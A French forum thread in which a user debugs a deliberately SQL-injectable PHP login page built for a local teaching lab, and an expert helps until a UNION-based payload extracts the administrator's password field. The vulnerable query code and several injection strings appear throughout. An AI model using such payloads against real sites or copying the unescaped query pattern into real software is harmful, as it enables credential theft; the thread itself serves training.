IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

PHP & Base de données Discussion :

Requête SQL basic et problème de privilège [MySQL]


Sujet :

PHP & Base de données

  1. #1
    Membre averti
    Inscrit en
    Octobre 2012
    Messages
    21
    Détails du profil
    Informations forums :
    Inscription : Octobre 2012
    Messages : 21
    Par défaut Requête SQL basic et problème de privilège
    Bonjour tout le monde,

    J'ai créé un petit site en local pour faire du pentest (un tp d'SQLi pour mon association en ce qui concerne ce petit exercice).
    J'ai donc aucun soucis concernant le bypass de login.
    Cependant, lorsque je cherche à récupérer des données ou agir sur une table, il y a un soucis.
    J'injecte la requête suivante :
    Code SQL : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    SELECT * 
    FROM users 
    WHERE login='zzz' 
    UNION 
    SELECT passwd 
    FROM users 
    WHERE login='Administrateur' 
    LIMIT 1,1

    Et j'ai un retour :
    Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\wamp\www\test_SQLi\index.php on line 13
    Le soucis viens donc pas de mysql_fetch_array() mais du mysql-query qui le précède.

    D'après ce que je sais, mysql_query retourne false (et donc valeur booléenne, d'où le soucis) si l'user n'a pas les privilèges pour agir sur la table.

    Mon soucis, j'utilise un user au quel j'ai donné la totalité des droits sur toute mes bases de données.

    Si quelqu'un a une piste pour régler ce soucis...

  2. #2
    Expert éminent
    Avatar de CinePhil
    Homme Profil pro
    Ingénieur d'études en informatique
    Inscrit en
    Août 2006
    Messages
    16 818
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 62
    Localisation : France, Haute Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : Ingénieur d'études en informatique
    Secteur : Enseignement

    Informations forums :
    Inscription : Août 2006
    Messages : 16 818
    Billets dans le blog
    14
    Par défaut
    Il vaut mieux éviter la guerre des étoiles !
    En l'occurrence, ici, tu rapatries toutes les colonnes de la table dans la première requête de l'UNION et seulement une colonne dans la seconde donc ça ne peut pas fonctionner.

    D'ailleurs, je trouve le sens de la requête bizarre !
    Elle signifie, en gros :
    "Sélectionner l'utilisateur de login 'zzz' et le mot de passe de l'administrateur."

    Concernant le message d'erreur, rien ne dit que ce soit un problème de privilège. Quel utilisateur MySQL l'application utilise t-elle pour se connecter à la BDD ? C'est de cet utilisateur là dont il faut s'occuper des privilèges sur la BDD.

    Pour pouvoir analyser le problème, il faudrait donner le code PHP de la connexion à la BDD (en masquant bien sûr le mot de passe et l'URL) et le code de soumission de la requête à MySQL ainsi que le code de son exploitation jusqu'au mysql_fetch-array.
    Philippe Leménager. Ingénieur d'étude à l'École Nationale Supérieure de Formation de l'Enseignement Agricole, en retraite... mais toujours Autoentrepreneur à l'occasion.
    Mon ancien blog sur la conception des BDD, le langage SQL, le PHP... et mon nouveau blog sur les mêmes sujets.
    « Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément ». (Nicolas Boileau)
    À la maison comme au bureau, j'utilise la suite Linux Mageïa !

  3. #3
    Membre averti
    Inscrit en
    Octobre 2012
    Messages
    21
    Détails du profil
    Informations forums :
    Inscription : Octobre 2012
    Messages : 21
    Par défaut
    Tout d'abord, merci d'avoir rectifié mes erreurs !

    Pour le contexte :
    Il s'agit d'une exploitation de faille SQL exclusivement en local, je peux donc donner le code php sans soucis.

    Ma requête à pour but de récupérer le contenu de la table passwd du login Administrateur.

    Voici le code :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
     
    if (isset($_GET['login'])) {
     
    $db = mysql_connect("localhost","pentest1","*****");  // Connexion à la base de données. (on va masquer le mot de passe pour la forme ! )
                mysql_select_db("pentest1");       // Sélection de la base de données utilisée.
     
    $pwd=md5($_GET['pass']);
    $sql="SELECT * FROM users WHERE login ='".$_GET['login']." ' AND passwd='".$pwd."';";
    echo $sql.'<br/>';
    $req=mysql_query($sql)or die(mysql_error());
    $data=mysql_fetch_array($req);
    if (is_array($data) ) 
    {
    ?>
    	Bienvenue <?php echo $data['login']; ?><br/><br/>Cle : <?php echo '"'.$data['key'].'"'; ?>
    <?php
    }
    else
    {
    echo "LOGIN / PASSWORD INVALIDE <br/>";
    ?>
    Oui, c'est un code bien moche mais c'est le but dans ce contexte ! ^^
    Après réflexion, ce n'est pas un soucis de privilège, j'ai ajouter un or die(mysql_error() pour connaitre le soucis.. ça vient au niveau de ma requête SQL.. qui marchait pourtant sur une autre plateforme.

    Mon Wamp utilise la version 5.5.24 de MySQL

    PS : Merci pour la guerre des étoiles, je ne connaissais absolument pas cette optimisation.

  4. #4
    Expert éminent
    Avatar de CinePhil
    Homme Profil pro
    Ingénieur d'études en informatique
    Inscrit en
    Août 2006
    Messages
    16 818
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 62
    Localisation : France, Haute Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : Ingénieur d'études en informatique
    Secteur : Enseignement

    Informations forums :
    Inscription : Août 2006
    Messages : 16 818
    Billets dans le blog
    14
    Par défaut
    ?
    Philippe Leménager. Ingénieur d'étude à l'École Nationale Supérieure de Formation de l'Enseignement Agricole, en retraite... mais toujours Autoentrepreneur à l'occasion.
    Mon ancien blog sur la conception des BDD, le langage SQL, le PHP... et mon nouveau blog sur les mêmes sujets.
    « Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément ». (Nicolas Boileau)
    À la maison comme au bureau, j'utilise la suite Linux Mageïa !

  5. #5
    Membre averti
    Inscrit en
    Octobre 2012
    Messages
    21
    Détails du profil
    Informations forums :
    Inscription : Octobre 2012
    Messages : 21
    Par défaut
    Non, ce n'est pas résolu, je ne vois toujours pas pourquoi ma requête n'est pas exécuté sur cette plateforme.. Ma requête étant pourtant correct il me semble pour ce que je cherche à faire.

  6. #6
    Expert éminent
    Avatar de CinePhil
    Homme Profil pro
    Ingénieur d'études en informatique
    Inscrit en
    Août 2006
    Messages
    16 818
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 62
    Localisation : France, Haute Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : Ingénieur d'études en informatique
    Secteur : Enseignement

    Informations forums :
    Inscription : Août 2006
    Messages : 16 818
    Billets dans le blog
    14
    Par défaut
    Symptômes ?
    - message d'erreur ?
    - pas de résultat en retour ?
    - résultat erroné ?

    Puisque tu fais un echo $sql, quelle est la requête réellement envoyée ?
    Les variables $_GET sont-elles bien valorisées ?

    Je vois quand même un petit truc :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    WHERE login ='".$_GET['login']." ' AND
    Tu as un espace entre le login et l'apostrophe de fin de chaîne, du coup, si le login réel est 'Severrakh', tu soumets à la requête la recherche du login 'Severrakh ' et il ne trouve pas l'utilisateur !
    Philippe Leménager. Ingénieur d'étude à l'École Nationale Supérieure de Formation de l'Enseignement Agricole, en retraite... mais toujours Autoentrepreneur à l'occasion.
    Mon ancien blog sur la conception des BDD, le langage SQL, le PHP... et mon nouveau blog sur les mêmes sujets.
    « Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément ». (Nicolas Boileau)
    À la maison comme au bureau, j'utilise la suite Linux Mageïa !

  7. #7
    Membre averti
    Inscrit en
    Octobre 2012
    Messages
    21
    Détails du profil
    Informations forums :
    Inscription : Octobre 2012
    Messages : 21
    Par défaut
    l'echo $sql est :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
    $sql="SELECT * FROM users WHERE login ='".$_GET['login']." ' AND passwd='".$pwd."';";
    Dans le formulaire j'injecte au niveau du login :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    UNION SELECT passwd FROM users WHERE login='Administrateur' LIMIT 1,1 -- ;
    Dans le but de récupérer le contenu, l'erreur retourné est : The used SELECT statements have a different number of columns.

    J'ai donc utilisé :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    UNION SELECT null,null,passwd,null FROM users WHERE login='Administrateur' LIMIT 1,1 -- ;
    Dans ce cas j'ai une connexion à la page, sous aucun login et aucun contenu.

    Dans le reste des situations essayé j'ai une erreur de syntaxe en rapport avec ma version d'SQL.

    Chose étrange étant donné qu'il y a une semaine mon tp fonctionnait, mais sur une autre structure.

    Pour les variables GET c'est ok

    J'ai réglé pour l'espace avant ' mais je n'avais pas remarqué de soucis sur ce point là.

  8. #8
    Expert éminent
    Avatar de CinePhil
    Homme Profil pro
    Ingénieur d'études en informatique
    Inscrit en
    Août 2006
    Messages
    16 818
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 62
    Localisation : France, Haute Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : Ingénieur d'études en informatique
    Secteur : Enseignement

    Informations forums :
    Inscription : Août 2006
    Messages : 16 818
    Billets dans le blog
    14
    Par défaut
    Dans le reste des situations essayé j'ai une erreur de syntaxe en rapport avec ma version d'SQL.
    Si je comprends bien, ton exemple du premier message avec l'UNION fonctionne mais tu as d'autres cas qui ne fonctionnent pas ?
    Philippe Leménager. Ingénieur d'étude à l'École Nationale Supérieure de Formation de l'Enseignement Agricole, en retraite... mais toujours Autoentrepreneur à l'occasion.
    Mon ancien blog sur la conception des BDD, le langage SQL, le PHP... et mon nouveau blog sur les mêmes sujets.
    « Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément ». (Nicolas Boileau)
    À la maison comme au bureau, j'utilise la suite Linux Mageïa !

  9. #9
    Membre averti
    Inscrit en
    Octobre 2012
    Messages
    21
    Détails du profil
    Informations forums :
    Inscription : Octobre 2012
    Messages : 21
    Par défaut
    Pas exactement,

    Dans le premier exemple l'erreur retourné est : The used SELECT statements have a different number of columns

    Du coup je remplace par :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    UNION SELECT null,null,passwd,null FROM users WHERE login='Administrateur' LIMIT 1,1 -- ;
    Et là je n'ai pas d'erreur mais il n'affiche rien..
    Et c'est à partir de là que je bloque et tourne en rond.

  10. #10
    Expert éminent
    Avatar de CinePhil
    Homme Profil pro
    Ingénieur d'études en informatique
    Inscrit en
    Août 2006
    Messages
    16 818
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 62
    Localisation : France, Haute Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : Ingénieur d'études en informatique
    Secteur : Enseignement

    Informations forums :
    Inscription : Août 2006
    Messages : 16 818
    Billets dans le blog
    14
    Par défaut
    Que donne le résultat du echo $sql ?
    Philippe Leménager. Ingénieur d'étude à l'École Nationale Supérieure de Formation de l'Enseignement Agricole, en retraite... mais toujours Autoentrepreneur à l'occasion.
    Mon ancien blog sur la conception des BDD, le langage SQL, le PHP... et mon nouveau blog sur les mêmes sujets.
    « Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément ». (Nicolas Boileau)
    À la maison comme au bureau, j'utilise la suite Linux Mageïa !

  11. #11
    Membre averti
    Inscrit en
    Octobre 2012
    Messages
    21
    Détails du profil
    Informations forums :
    Inscription : Octobre 2012
    Messages : 21
    Par défaut
    Code SQL : Sélectionner tout - Visualiser dans une fenêtre à part
    SELECT * FROM users WHERE login ='zzz' UNION SELECT passwd FROM users WHERE login='Administrateur' LIMIT 1,1 -- ;' AND passwd='d41d8cd98f00b204e9800998ecf8427e';

    The used SELECT statements have a different number of columns
    Voici le retour.
    Je coupe la fin de la requête part -- ;
    Le hash du pass est affiché dans la requête, mais le but est de récupérer le pass via une requête SQL injecté dans le formulaire .. le echo $sql n'est là qu'à but d'aide.

  12. #12
    Expert éminent
    Avatar de CinePhil
    Homme Profil pro
    Ingénieur d'études en informatique
    Inscrit en
    Août 2006
    Messages
    16 818
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 62
    Localisation : France, Haute Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : Ingénieur d'études en informatique
    Secteur : Enseignement

    Informations forums :
    Inscription : Août 2006
    Messages : 16 818
    Billets dans le blog
    14
    Par défaut
    L'erreur est logique, pour la raison que j'ai évoquée dans ma première réponse.

    Mais apparemment, tu as essayé aussi autrement :
    Du coup je remplace par :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    UNION SELECT null,null,passwd,null FROM users WHERE login='Administrateur' LIMIT 1,1 -- ;
    Et là, tu n'as pas d'erreur ? Et quoi ? Une page blanche ?
    Philippe Leménager. Ingénieur d'étude à l'École Nationale Supérieure de Formation de l'Enseignement Agricole, en retraite... mais toujours Autoentrepreneur à l'occasion.
    Mon ancien blog sur la conception des BDD, le langage SQL, le PHP... et mon nouveau blog sur les mêmes sujets.
    « Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément ». (Nicolas Boileau)
    À la maison comme au bureau, j'utilise la suite Linux Mageïa !

  13. #13
    Membre averti
    Inscrit en
    Octobre 2012
    Messages
    21
    Détails du profil
    Informations forums :
    Inscription : Octobre 2012
    Messages : 21
    Par défaut
    Merci, je viens de voir ce qui allait pas,

    ça fonctionne bien mieux avec :
    Code sql : Sélectionner tout - Visualiser dans une fenêtre à part
    UNION SELECT passwd,passwd,passwd,passwd FROM users WHERE login='Administrateur'  -- ;
    En réfléchissant par la logique je ne pensai pas qu'il remplacerai les affichages de login par le contenu de passwd.
    SQL affiche donc le contenu d'une colonne d'un table à la place d'une autre si on le demande de cette manière ?

    Merci pour ton aide.

  14. #14
    Expert éminent
    Avatar de CinePhil
    Homme Profil pro
    Ingénieur d'études en informatique
    Inscrit en
    Août 2006
    Messages
    16 818
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 62
    Localisation : France, Haute Garonne (Midi Pyrénées)

    Informations professionnelles :
    Activité : Ingénieur d'études en informatique
    Secteur : Enseignement

    Informations forums :
    Inscription : Août 2006
    Messages : 16 818
    Billets dans le blog
    14
    Par défaut
    Dans une requête UNION, seuls les noms de colonnes de la première requête sont pris en compte pour nommer les colonnes de résultat.
    Code SQL : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    SELECT usr_id, usr_login, usr_passwd, usr_key
    FROM users
    WHERE usr_login = 'zzz'
    UNION
    SELECT passwd, passwd, passwd, passwd
    FROM users
    WHERE usr_login = 'Administrateur'
    LIMIT 1, 1
    => Résultat :
    usr_id	usr_login	usr_passwd	usr_key
    1	'Administrateur'	'son_mdp' '12345'
    D'une manière générale et dans un cas plus normal de requête, si tu utilises des alias pour nommer les colonnes de résultat, ce n'est pas la peine de répéter les alias sur toutes les requêtes unies :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    SELECT
    	col1 AS colonne_1,
    	col2 AS colonne_2
    FROM une_table
    UNION
    SELECT
    	col3,
    	col4
    FROM une_autre_table
    Le résultat affichera les colonnes "colonne_1" et "colonne_2".
    Philippe Leménager. Ingénieur d'étude à l'École Nationale Supérieure de Formation de l'Enseignement Agricole, en retraite... mais toujours Autoentrepreneur à l'occasion.
    Mon ancien blog sur la conception des BDD, le langage SQL, le PHP... et mon nouveau blog sur les mêmes sujets.
    « Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément ». (Nicolas Boileau)
    À la maison comme au bureau, j'utilise la suite Linux Mageïa !

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Requête SQL qui pose problème
    Par berko dans le forum Langage SQL
    Réponses: 11
    Dernier message: 29/11/2013, 15h02
  2. [SQL] Problème de requête SQL de plus de 8060 caractères ?
    Par webtheque dans le forum MS SQL Server
    Réponses: 13
    Dernier message: 06/04/2005, 16h07
  3. [SQLserver2000][SQLServer CE] problème de requête SQL
    Par JBernn dans le forum MS SQL Server
    Réponses: 4
    Dernier message: 27/01/2005, 10h29
  4. Problème de requète SQL dans un Requery
    Par Keraccess dans le forum Requêtes et SQL.
    Réponses: 7
    Dernier message: 22/10/2004, 15h58
  5. Réponses: 8
    Dernier message: 23/10/2003, 17h22

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo